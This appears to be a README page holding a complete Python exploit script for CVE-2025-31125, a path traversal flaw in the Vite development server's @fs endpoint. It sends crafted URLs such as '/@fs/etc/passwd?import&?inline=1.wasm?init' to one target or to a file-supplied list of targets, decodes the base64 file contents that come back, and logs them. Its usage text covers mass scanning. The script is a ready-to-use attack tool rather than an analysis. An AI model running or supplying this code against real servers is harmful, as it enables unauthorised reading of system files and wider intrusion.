README.md
Rendering markdown...
import requests
import base64
import argparse
import os
import urllib3
from colorama import init, Fore, Style
# Initialize colorama for colorful output
init()
# Suppress SSL warnings
urllib3.disable_warnings()
# Banner
BANNER = f"""
{Fore.CYAN}============================================================
Vite Development Server Path Traversal Exploit
CVE-2025-31125
Created by Muhammad Waseem
============================================================{Style.RESET_ALL}
{Fore.YELLOW}Description:{Style.RESET_ALL}
Path traversal vulnerability in Vite development server's @fs endpoint allows
attackers to access files outside the intended directory. When exposed to the
network, attackers can exploit this via crafted URLs to access sensitive system files.
"""
def decode_base64(data):
try:
if "base64," in data:
b64_str = data.split("base64,")[1].split("'")[0]
decoded = base64.b64decode(b64_str).decode('utf-8', errors='ignore')
return decoded
return None
except Exception:
return None
def save_output(data, output_file):
try:
with open(output_file, 'a') as f:
f.write(data + '\n')
print(f"{Fore.GREEN}[+] Saved output to {output_file}{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error saving to {output_file}: {e}{Style.RESET_ALL}")
def exploit_vite(target, passwd_path, hosts_path, output_file=None):
# First try /etc/passwd
try:
response = requests.get(f"{target}{passwd_path}", timeout=5, verify=False)
if (response.status_code == 200 and
"data:application/octet-stream" in response.text and
"base64" in response.text and
"text/javascript" in response.headers.get("Content-Type", "")):
decoded_data = decode_base64(response.text)
if decoded_data:
output = f"{Fore.GREEN}[+] Vulnerable path: {passwd_path}\n[+] Decoded data:\n{decoded_data}\n{Style.RESET_ALL}"
print(output)
if output_file:
save_output(output, output_file)
# If passwd is found, try /etc/hosts
try:
response = requests.get(f"{target}{hosts_path}", timeout=5, verify=False)
if (response.status_code == 200 and
"data:application/octet-stream" in response.text and
"base64" in response.text and
"text/javascript" in response.headers.get("Content-Type", "")):
decoded_data = decode_base64(response.text)
if decoded_data:
output = f"{Fore.GREEN}[+] Vulnerable path: {hosts_path}\n[+] Decoded data:\n{decoded_data}\n{Style.RESET_ALL}"
print(output)
if output_file:
save_output(output, output_file)
else:
print(f"{Fore.RED}[-] No valid base64 data found for {hosts_path}{Style.RESET_ALL}\n")
else:
print(f"{Fore.RED}[-] Invalid response for {hosts_path} (Status: {response.status_code}){Style.RESET_ALL}\n")
except requests.RequestException:
print(f"{Fore.RED}[-] Request failed for {hosts_path}{Style.RESET_ALL}\n")
except requests.RequestException:
pass
def load_urls_from_file(file_path):
try:
with open(file_path, 'r') as f:
return [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"{Fore.RED}[-] Error reading file {file_path}: {e}{Style.RESET_ALL}")
return []
def main():
parser = argparse.ArgumentParser(
description=f"{Fore.CYAN}Exploit for CVE-2025-31125 (Vite Development Server Path Traversal){Style.RESET_ALL}",
epilog=f"""
{Fore.YELLOW}Examples:{Style.RESET_ALL}
Scan a single URL: python vite_exploit.py -u http://target.com
Scan multiple URLs from a file: python vite_exploit.py -f urls.txt -o output.txt
Save results: python vite_exploit.py -u http://target.com -o output.txt
{Fore.YELLOW}Note:{Style.RESET_ALL}
When using -f to scan multiple URLs, only vulnerable URLs with decoded data will be shown.
Use -u for a single URL to see detailed data for /etc/passwd and /etc/hosts.
"""
)
parser.add_argument(
'-u', '--url',
help='Target URL of the Vite server (e.g., http://target.com)'
)
parser.add_argument(
'-f', '--file',
help='File containing URLs to scan (one per line)'
)
parser.add_argument(
'-o', '--output',
help='Output file to save results'
)
args = parser.parse_args()
# Validate arguments
if not args.url and not args.file:
print(f"{Fore.RED}[-] Error: Either -u or -f must be provided{Style.RESET_ALL}")
parser.print_help()
return
# Print banner
print(BANNER)
# Paths to check
passwd_path = "/@fs/etc/passwd?import&?inline=1.wasm?init"
hosts_path = "/@fs/etc/hosts?import&?inline=1.wasm?init"
# Handle single URL
if args.url:
print(f"{Fore.CYAN}[*] Scanning single URL: {args.url}{Style.RESET_ALL}")
exploit_vite(args.url, passwd_path, hosts_path, args.output)
# Handle URL file
if args.file:
print(f"{Fore.YELLOW}[!] Alert: Scanning multiple URLs from {args.file}. Only vulnerable URLs with data will be shown.{Style.RESET_ALL}")
urls = load_urls_from_file(args.file)
if not urls:
print(f"{Fore.RED}[-] No valid URLs found in {args.file}. Exiting.{Style.RESET_ALL}")
return
for url in urls:
print(f"{Fore.CYAN}[*] Scanning URL: {url}{Style.RESET_ALL}")
exploit_vite(url, passwd_path, hosts_path, args.output)
if __name__ == "__main__":
main()